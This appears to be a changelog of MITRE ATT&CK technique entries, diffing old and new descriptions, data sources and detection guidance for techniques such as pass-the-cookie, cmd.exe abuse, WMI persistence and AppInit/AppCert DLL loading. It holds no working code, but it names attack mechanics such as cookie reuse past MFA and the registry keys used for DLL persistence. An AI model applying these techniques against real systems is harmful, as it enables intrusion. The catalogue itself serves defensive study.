| x_mitre_data_sources | Process monitoring |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries can use stolen session cookies to authenticate t | t | 1 | Adversaries can use stolen session cookies to authenticate t |
| > | o web applications and services. This technique bypasses som | > | o web applications and services. This technique bypasses som | ||
| > | e multi-factor authentication protocols since the session is | > | e multi-factor authentication protocols since the session is | ||
| > | already authenticated.(Citation: Pass The Cookie) Authenti | > | already authenticated.(Citation: Pass The Cookie) Authenti | ||
| > | cation cookies are commonly used in web applications, includ | > | cation cookies are commonly used in web applications, includ | ||
| > | ing cloud-based services, after a user has authenticated to | > | ing cloud-based services, after a user has authenticated to | ||
| > | the service so credentials are not passed and re-authenticat | > | the service so credentials are not passed and re-authenticat | ||
| > | ion does not need to occur as frequently. Cookies are often | > | ion does not need to occur as frequently. Cookies are often | ||
| > | valid for an extended period of time, even if the web applic | > | valid for an extended period of time, even if the web applic | ||
| > | ation is not actively used. After the cookie is obtained thr | > | ation is not actively used. After the cookie is obtained thr | ||
| > | ough [Steal Web Session Cookie](https://attack.mitre.org/tec | > | ough [Steal Web Session Cookie](https://attack.mitre.org/tec | ||
| > | hniques/T1539), the adversary may then import the cookie int | > | hniques/T1539) or [Web Cookies](https://attack.mitre.org/tec | ||
| > | o a browser they control and is then able to use the site or | > | hniques/T1606/001), the adversary may then import the cookie | ||
| > | application as the user for as long as the session cookie i | > | into a browser they control and is then able to use the sit | ||
| > | s active. Once logged into the site, an adversary can access | > | e or application as the user for as long as the session cook | ||
| > | sensitive information, read email, or perform actions that | > | ie is active. Once logged into the site, an adversary can ac | ||
| > | the victim account has permissions to perform. There have b | > | cess sensitive information, read email, or perform actions t | ||
| > | een examples of malware targeting session cookies to bypass | > | hat the victim account has permissions to perform. There ha | ||
| > | multi-factor authentication systems.(Citation: Unit 42 Mac C | > | ve been examples of malware targeting session cookies to byp | ||
| > | rypto Cookies January 2019) | > | ass multi-factor authentication systems.(Citation: Unit 42 M | ||
| > | ac Crypto Cookies January 2019) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 19:40:44.527000+00:00 | 2021-04-14 13:21:37.474000+00:00 |
| description | Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie) Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform. There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019) | Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie) Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform. There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019) |
| external_references[3]['description'] | Chen, Y., Hu, W., Xu, Z., et. al.. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019. | Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019. |
| x_mitre_data_sources[0] | Office 365 audit logs | Web Credential: Web Credential Usage |
| x_mitre_data_sources[1] | Authentication logs | Application Log: Application Log Content |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Google Workspace |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse the Windows command shell for executio | t | 1 | Adversaries may abuse the Windows command shell for executio |
| > | n. The Windows command shell (<code>cmd.exe</code>) is the p | > | n. The Windows command shell ([cmd](https://attack.mitre.org | ||
| > | rimary command prompt on Windows systems. The Windows comman | > | /software/S0106)) is the primary command prompt on Windows s | ||
| > | d prompt can be used to control almost any aspect of a syste | > | ystems. The Windows command prompt can be used to control al | ||
| > | m, with various permission levels required for different sub | > | most any aspect of a system, with various permission levels | ||
| > | sets of commands. Batch files (ex: .bat or .cmd) also prov | > | required for different subsets of commands. Batch files (e | ||
| > | ide the shell with a list of sequential commands to run, as | > | x: .bat or .cmd) also provide the shell with a list of seque | ||
| > | well as normal scripting operations such as conditionals and | > | ntial commands to run, as well as normal scripting operation | ||
| > | loops. Common uses of batch files include long or repetitiv | > | s such as conditionals and loops. Common uses of batch files | ||
| > | e tasks, or the need to run the same set of commands on mult | > | include long or repetitive tasks, or the need to run the sa | ||
| > | iple systems. Adversaries may leverage <code>cmd.exe</code> | > | me set of commands on multiple systems. Adversaries may lev | ||
| > | to execute various commands and payloads. Common uses inclu | > | erage [cmd](https://attack.mitre.org/software/S0106) to exec | ||
| > | de <code>cmd.exe /c</code> to execute a single command, or a | > | ute various commands and payloads. Common uses include [cmd] | ||
| > | busing <code>cmd.exe</code> interactively with input and out | > | (https://attack.mitre.org/software/S0106) to execute a singl | ||
| > | put forwarded over a command and control channel. | > | e command, or abusing [cmd](https://attack.mitre.org/softwar | ||
| > | e/S0106) interactively with input and output forwarded over | ||||
| > | a command and control channel. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 17:02:13.722000+00:00 | 2021-04-14 15:36:02.195000+00:00 |
| description | Adversaries may abuse the Windows command shell for execution. The Windows command shell (cmd.exe) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands.
Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.
Adversaries may leverage cmd.exe to execute various commands and payloads. Common uses include cmd.exe /c to execute a single command, or abusing cmd.exe interactively with input and output forwarded over a command and control channel. | Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems. Adversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel. |
| x_mitre_data_sources[0] | Windows event logs | Command: Command Execution |
| x_mitre_data_sources[1] | Process command-line parameters | Process: Process Creation |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Brent Murphy, Elastic', 'David French, Elastic'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-05 12:02:45.522000+00:00 | 2021-04-13 21:32:54.094000+00:00 |
| external_references[8]['source_name'] | Microsoft Register-WmiEvent | Elastic - Hunting for Persistence Part 1 |
| external_references[8]['description'] | Microsoft. (n.d.). Retrieved January 24, 2020. | French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020. |
| external_references[8]['url'] | https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1 | https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1 |
| x_mitre_data_sources[0] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[2] | WMI Objects | WMI: WMI Creation |
| x_mitre_detection | Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns) (Citation: Medium Detecting WMI Persistence)
Monitor processes and command-line arguments that can be used to register WMI persistence, such as the Register-WmiEvent [PowerShell](https://attack.mitre.org/techniques/T1086) cmdlet (Citation: Microsoft Register-WmiEvent), as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process). | Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns) (Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI EventFilter, EventConsumer, and FilterToConsumerBinding events. Event ID 5861 is logged on Windows 10 systems when new EventFilterToConsumerBinding events are created.(Citation: Elastic - Hunting for Persistence Part 1)
Monitor processes and command-line arguments that can be used to register WMI persistence, such as the Register-WmiEvent [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet (Citation: Microsoft Register-WmiEvent), as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process). |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft Register-WmiEvent', 'description': 'Microsoft. (n.d.). Retrieved January 24, 2020.', 'url': 'https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1'} |
Current version: 2.2
Version changed from: 2.0 → 2.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may breach or otherwise leverage organizations w | t | 1 | Adversaries may breach or otherwise leverage organizations w |
| > | ho have access to intended victims. Access through trusted t | > | ho have access to intended victims. Access through trusted t | ||
| > | hird party relationship exploits an existing connection that | > | hird party relationship exploits an existing connection that | ||
| > | may not be protected or receives less scrutiny than standar | > | may not be protected or receives less scrutiny than standar | ||
| > | d mechanisms of gaining access to a network. Organizations | > | d mechanisms of gaining access to a network. Organizations | ||
| > | often grant elevated access to second or third-party externa | > | often grant elevated access to second or third-party externa | ||
| > | l providers in order to allow them to manage internal system | > | l providers in order to allow them to manage internal system | ||
| > | s as well as cloud-based environments. Some examples of thes | > | s as well as cloud-based environments. Some examples of thes | ||
| > | e relationships include IT services contractors, managed sec | > | e relationships include IT services contractors, managed sec | ||
| > | urity providers, infrastructure contractors (e.g. HVAC, elev | > | urity providers, infrastructure contractors (e.g. HVAC, elev | ||
| > | ators, physical security). The third-party provider's access | > | ators, physical security). The third-party provider's access | ||
| > | may be intended to be limited to the infrastructure being m | > | may be intended to be limited to the infrastructure being m | ||
| > | aintained, but may exist on the same network as the rest of | > | aintained, but may exist on the same network as the rest of | ||
| > | the enterprise. As such, [Valid Accounts](https://attack.mit | > | the enterprise. As such, [Valid Accounts](https://attack.mit | ||
| > | re.org/techniques/T1078) used by the other party for access | > | re.org/techniques/T1078) used by the other party for access | ||
| > | to internal network systems may be compromised and used. | > | to internal network systems may be compromised and used.(Cit | ||
| > | ation: CISA IT Service Providers) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-14 19:38:14.299000+00:00 | 2021-03-08 10:33:01.045000+00:00 |
| description | Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network. Organizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used. | Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network. Organizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.(Citation: CISA IT Service Providers) |
| x_mitre_data_sources[0] | Azure activity logs | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Stackdriver logs | Logon Session: Logon Session Metadata |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Logon Session: Logon Session Creation |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | Windows | SaaS |
| x_mitre_platforms[2] | macOS | IaaS |
| x_mitre_platforms[3] | AWS | Linux |
| x_mitre_platforms[4] | GCP | macOS |
| x_mitre_version | 2.0 | 2.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'CISA IT Service Providers', 'description': 'CISA. (n.d.). APTs Targeting IT Service Provider Customers. Retrieved November 16, 2020.', 'url': 'https://us-cert.cisa.gov/APTs-Targeting-IT-Service-Provider-Customers'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Application logs | |
| x_mitre_data_sources | Authentication logs | |
| x_mitre_data_sources | Third-party application logs | |
| x_mitre_platforms | Azure | |
| x_mitre_platforms | SaaS |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-16 15:22:11.604000+00:00 | 2021-04-21 16:41:35.256000+00:00 |
| external_references[3]['url'] | https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf | https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf |
| x_mitre_data_sources[0] | Packet capture | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Netflow/Enclave netflow | Network Traffic: Network Traffic Flow |
Current version: 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-04-16 19:37:02.355000+00:00 | 2021-04-24 13:40:52.952000+00:00 |
| x_mitre_data_sources[0] | Authentication logs | Process: Process Creation |
| x_mitre_data_sources[1] | Windows event logs | Process: Process Metadata |
| x_mitre_data_sources[2] | API monitoring | Process: OS API Execution |
| x_mitre_data_sources[3] | Access tokens | User Account: User Account Metadata |
| x_mitre_data_sources[4] | Process monitoring | Active Directory: Active Directory Object Modification |
| x_mitre_data_sources[5] | Process command-line parameters | Command: Command Execution |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may buy, lease, or | t | 1 | Adversaries may buy, lease, or rent infrastructure that can |
| > | rent infrastructure that can be used during targeting. A wi | > | be used during targeting. A wide variety of infrastructure e | ||
| > | de variety of infrastructure exists for hosting and orchestr | > | xists for hosting and orchestrating adversary operations. In | ||
| > | ating adversary operations. Infrastructure solutions include | > | frastructure solutions include physical or cloud servers, do | ||
| > | physical or cloud servers, domains, and third-party web ser | > | mains, and third-party web services.(Citation: TrendmicroHid | ||
| > | vices.(Citation: TrendmicroHideoutsLease) Additionally, botn | > | eoutsLease) Additionally, botnets are available for rent or | ||
| > | ets are available for rent or purchase. Use of these infras | > | purchase. Use of these infrastructure solutions allows an a | ||
| > | tructure solutions allows an adversary to stage, launch, and | > | dversary to stage, launch, and execute an operation. Solutio | ||
| > | execute an operation. Solutions may help adversary operatio | > | ns may help adversary operations blend in with traffic that | ||
| > | ns blend in with traffic that is seen as normal, such as con | > | is seen as normal, such as contact to third-party web servic | ||
| > | tact to third-party web services. Depending on the implement | > | es. Depending on the implementation, adversaries may use inf | ||
| > | ation, adversaries may use infrastructure that makes it diff | > | rastructure that makes it difficult to physically tie back t | ||
| > | icult to physically tie back to them as well as utilize infr | > | o them as well as utilize infrastructure that can be rapidly | ||
| > | astructure that can be rapidly provisioned, modified, and sh | > | provisioned, modified, and shut down. | ||
| > | ut down. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 17:59:17.606000+00:00 | 2021-04-15 02:53:19.397000+00:00 |
| description | Before compromising a victim, adversaries may buy, lease, or rent infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase. Use of these infrastructure solutions allows an adversary to stage, launch, and execute an operation. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contact to third-party web services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down. | Adversaries may buy, lease, or rent infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase. Use of these infrastructure solutions allows an adversary to stage, launch, and execute an operation. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contact to third-party web services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down. |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may execute active | t | 1 | Adversaries may execute active reconnaissance scans to gathe |
| > | reconnaissance scans to gather information that can be used | > | r information that can be used during targeting. Active scan | ||
| > | during targeting. Active scans are those where the adversar | > | s are those where the adversary probes victim infrastructure | ||
| > | y probes victim infrastructure via network traffic, as oppos | > | via network traffic, as opposed to other forms of reconnais | ||
| > | ed to other forms of reconnaissance that do not involve dire | > | sance that do not involve direct interaction. Adversaries m | ||
| > | ct interaction. Adversaries may perform different forms of | > | ay perform different forms of active scanning depending on w | ||
| > | active scanning depending on what information they seek to g | > | hat information they seek to gather. These scans can also be | ||
| > | ather. These scans can also be performed in various ways, in | > | performed in various ways, including using native features | ||
| > | cluding using native features of network protocols such as I | > | of network protocols such as ICMP.(Citation: Botnet Scan)(Ci | ||
| > | CMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) | > | tation: OWASP Fingerprinting) Information from these scans m | ||
| > | Information from these scans may reveal opportunities for ot | > | ay reveal opportunities for other forms of reconnaissance (e | ||
| > | her forms of reconnaissance (ex: [Search Open Websites/Domai | > | x: [Search Open Websites/Domains](https://attack.mitre.org/t | ||
| > | ns](https://attack.mitre.org/techniques/T1593) or [Search Op | > | echniques/T1593) or [Search Open Technical Databases](https: | ||
| > | en Technical Databases](https://attack.mitre.org/techniques/ | > | //attack.mitre.org/techniques/T1596)), establishing operatio | ||
| > | T1596)), establishing operational resources (ex: [Develop Ca | > | nal resources (ex: [Develop Capabilities](https://attack.mit | ||
| > | pabilities](https://attack.mitre.org/techniques/T1587) or [O | > | re.org/techniques/T1587) or [Obtain Capabilities](https://at | ||
| > | btain Capabilities](https://attack.mitre.org/techniques/T158 | > | tack.mitre.org/techniques/T1588)), and/or initial access (ex | ||
| > | 8)), and/or initial access (ex: [External Remote Services](h | > | : [External Remote Services](https://attack.mitre.org/techni | ||
| > | ttps://attack.mitre.org/techniques/T1133) or [Exploit Public | > | ques/T1133) or [Exploit Public-Facing Application](https://a | ||
| > | -Facing Application](https://attack.mitre.org/techniques/T11 | > | ttack.mitre.org/techniques/T1190)). | ||
| > | 90)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:06:50.402000+00:00 | 2021-04-15 03:20:09.600000+00:00 |
| description | Before compromising a victim, adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction. Adversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). | Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction. Adversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). |
| x_mitre_data_sources[0] | Packet capture | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Network device logs | Network Traffic: Network Traffic Content |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence and/or elevate privile | t | 1 | Adversaries may establish persistence and/or elevate privile |
| > | ges by executing malicious content triggered by AppCert DLLs | > | ges by executing malicious content triggered by AppCert DLLs | ||
| > | loaded into processes. Dynamic-link libraries (DLLs) that a | > | loaded into processes. Dynamic-link libraries (DLLs) that a | ||
| > | re specified in the <code>AppCertDLLs</code> Registry key un | > | re specified in the <code>AppCertDLLs</code> Registry key un | ||
| > | der <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Contro | > | der <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Contro | ||
| > | l\Session Manager\</code> are loaded into every process that | > | l\Session Manager\</code> are loaded into every process that | ||
| > | calls the ubiquitously used application programming interfa | > | calls the ubiquitously used application programming interfa | ||
| > | ce (API) functions <code>CreateProcess</code>, <code>CreateP | > | ce (API) functions <code>CreateProcess</code>, <code>CreateP | ||
| > | rocessAsUser</code>, <code>CreateProcessWithLoginW</code>, < | > | rocessAsUser</code>, <code>CreateProcessWithLoginW</code>, < | ||
| > | code>CreateProcessWithTokenW</code>, or <code>WinExec</code> | > | code>CreateProcessWithTokenW</code>, or <code>WinExec</code> | ||
| > | . (Citation: Endgame Process Injection July 2017) Similar t | > | . (Citation: Elastic Process Injection July 2017) Similar t | ||
| > | o [Process Injection](https://attack.mitre.org/techniques/T1 | > | o [Process Injection](https://attack.mitre.org/techniques/T1 | ||
| > | 055), this value can be abused to obtain elevated privileges | > | 055), this value can be abused to obtain elevated privileges | ||
| > | by causing a malicious DLL to be loaded and run in the cont | > | by causing a malicious DLL to be loaded and run in the cont | ||
| > | ext of separate processes on the computer. Malicious AppCert | > | ext of separate processes on the computer. Malicious AppCert | ||
| > | DLLs may also provide persistence by continuously being tri | > | DLLs may also provide persistence by continuously being tri | ||
| > | ggered by API activity. | > | ggered by API activity. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 20:22:45.298000+00:00 | 2020-11-10 18:29:31.052000+00:00 |
| description | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Endgame Process Injection July 2017)
Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)
Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. |
| external_references[1]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | Windows Registry | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[2] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[3] | Loaded DLLs | Module: Module Load |
| x_mitre_detection | Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017) Tools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007) Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. | Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) Tools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007) Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence and/or elevate privile | t | 1 | Adversaries may establish persistence and/or elevate privile |
| > | ges by executing malicious content triggered by AppInit DLLs | > | ges by executing malicious content triggered by AppInit DLLs | ||
| > | loaded into processes. Dynamic-link libraries (DLLs) that a | > | loaded into processes. Dynamic-link libraries (DLLs) that a | ||
| > | re specified in the <code>AppInit_DLLs</code> value in the R | > | re specified in the <code>AppInit_DLLs</code> value in the R | ||
| > | egistry keys <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Win | > | egistry keys <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Win | ||
| > | dows NT\CurrentVersion\Windows</code> or <code>HKEY_LOCAL_MA | > | dows NT\CurrentVersion\Windows</code> or <code>HKEY_LOCAL_MA | ||
| > | CHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersi | > | CHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersi | ||
| > | on\Windows</code> are loaded by user32.dll into every proces | > | on\Windows</code> are loaded by user32.dll into every proces | ||
| > | s that loads user32.dll. In practice this is nearly every pr | > | s that loads user32.dll. In practice this is nearly every pr | ||
| > | ogram, since user32.dll is a very common library. (Citation: | > | ogram, since user32.dll is a very common library. (Citation: | ||
| > | Endgame Process Injection July 2017) Similar to Process In | > | Elastic Process Injection July 2017) Similar to Process In | ||
| > | jection, these values can be abused to obtain elevated privi | > | jection, these values can be abused to obtain elevated privi | ||
| > | leges by causing a malicious DLL to be loaded and run in the | > | leges by causing a malicious DLL to be loaded and run in the | ||
| > | context of separate processes on the computer. (Citation: A | > | context of separate processes on the computer. (Citation: A | ||
| > | ppInit Registry) Malicious AppInit DLLs may also provide per | > | ppInit Registry) Malicious AppInit DLLs may also provide per | ||
| > | sistence by continuously being triggered by API activity. | > | sistence by continuously being triggered by API activity. | ||
| > | The AppInit DLL functionality is disabled in Windows 8 and l | > | The AppInit DLL functionality is disabled in Windows 8 and l | ||
| > | ater versions when secure boot is enabled. (Citation: AppIni | > | ater versions when secure boot is enabled. (Citation: AppIni | ||
| > | t Secure Boot) | > | t Secure Boot) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 20:34:09.996000+00:00 | 2020-11-10 18:29:31.076000+00:00 |
